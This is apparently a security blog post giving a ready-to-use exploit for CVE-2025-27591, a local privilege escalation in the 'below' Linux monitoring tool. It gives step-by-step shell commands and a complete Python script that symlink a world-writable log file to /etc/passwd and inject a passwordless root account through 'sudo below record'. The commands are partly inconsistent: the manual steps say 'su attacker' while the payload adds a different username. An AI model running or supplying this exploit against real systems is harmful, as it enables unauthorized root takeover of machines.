Post

CVE-2025-27591 - Privilege Escalation via Writable Symlink in below

CVE-2025-27591 is a known privilege escalation vulnerability in the Below service (version < v0.9.0)

CVE-2025-27591 - Privilege Escalation via Writable Symlink in below

Summary

This is a simple exploit for CVE-2025-27591, a local privilege escalation vulnerability in the below Linux system monitoring tool. The vulnerability affects versions prior to v0.9.0 and stems from incorrect permission assignments in the system. The issue was discovered in January 2025 and publicly disclosed on March 12, 2025 (SecurityOnline, OpenWall). When below is run with sudo, it may log errors into a world-writable directory (/var/log/below), allowing attackers to symlink a log file to sensitive targets like /etc/passwd.

By exploiting this, an unprivileged user with sudo access to below can escalate privileges to root.


Vulnerability Details

  • CVE ID: CVE-2025-27591
  • Vulnerable Tool: below
  • Affected Feature: Logging via below record
  • Vulnerable Path: /var/log/below/error_root.log
  • Attack Prerequisites:
    • The directory /var/log/below is world-writable
    • The attacker can run sudo /usr/bin/below record without a password

Exploit Steps (Manual)

✅ Step 1: Verify world-writable log directory You should see:

1
drwxrwxrwx 2 root root 4096 ... /var/log/below

alt text

✅ Step 2: Remove any existing error_root.log

1
rm -f /var/log/below/error_root.log

✅ Step 3: Create a symlink to /etc/passwd

1
ln -s /etc/passwd /var/log/below/error_root.log

then check using

1
2
ls -la /var/log/below/error_root.log
# should show: error_root.log -> /etc/passwd

alt text

✅ Step 4: Create a payload file This will add a new root user attacker with no password:

1
echo 'dollarboysushil::0:0:dollarboysusil:/root:/bin/bash' > /tmp/payload

file structure

1
username:password:UID:GID:comment(home/full name):home_directory:shell

key thing here is, UID and GUID we are setting UID and GUID to 0 making it user a root user and Group ID = root group alt text

✅ Step 5: Trigger log write as root This is the core of the exploit.

1
sudo /usr/bin/below record

This command is expected to fail or timeout — but it will try to write error logs to /var/log/below/error_root.log, which is actually /etc/passwd. 💡 In some cases, this alone may corrupt /etc/passwd — so we overwrite it fully next.

✅ Step 6: Overwrite /etc/passwd via symlink

1
cp /tmp/payload /var/log/below/error_root.log

alt text

✅ Step 7: Become root

1
su attacker

You’ll drop into a root shell, no password needed. alt text

Exploit Steps (Automatic)

1
python3 dbs_exploit.py

alt text

Github Repo link https://github.com/dollarboysushil/Linux-Privilege-Escalation-CVE-2025-27591

dbs_exploit.py code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
import os
import subprocess
import time

LOG_DIR = "/var/log/below"
LOG_FILE = f"{LOG_DIR}/error_root.log"
TARGET_FILE = "/etc/passwd"
TMP_PAYLOAD = "/tmp/payload"
FAKE_USER_LINE = "dollarboysushil::0:0:dollarboysushil:/root:/bin/bash\n"

def run(cmd):
    print(f"[+] Running: {cmd}")
    subprocess.call(cmd, shell=True)

def main():
    print("[*] CVE-2025-27591 exploit (simple version)")

    # Step 1: Create payload file
    with open(TMP_PAYLOAD, "w") as f:
        f.write(FAKE_USER_LINE)
    print(f"[+] Payload written to {TMP_PAYLOAD}")

    # Step 2: Ensure log dir exists and is writable
    if not os.access(LOG_DIR, os.W_OK):
        print("[-] Log directory is not world-writable or does not exist.")
        return
    print(f"[+] {LOG_DIR} is writable.")

    # Step 3: Remove log file if it exists
    if os.path.exists(LOG_FILE):
        os.remove(LOG_FILE)

    # Step 4: Create symlink to /etc/passwd
    os.symlink(TARGET_FILE, LOG_FILE)
    print(f"[+] Symlink created: {LOG_FILE} -> {TARGET_FILE}")

    # Step 5: Trigger sudo log write via `below`
    try:
        print("[*] Triggering sudo log write...")
        subprocess.run(["sudo", "/usr/bin/below", "record"], timeout=5)
    except subprocess.TimeoutExpired:
        print("[*] below timed out (expected)")

    # Step 6: Append payload into /etc/passwd using symlink
    run(f"cat {TMP_PAYLOAD} >> {LOG_FILE}")
    print("[+] Payload appended to /etc/passwd")

    print("[*] Done. Try: su dollarboysushil")

if __name__ == "__main__":
    main()
    

This post is licensed under CC BY 4.0 by the author.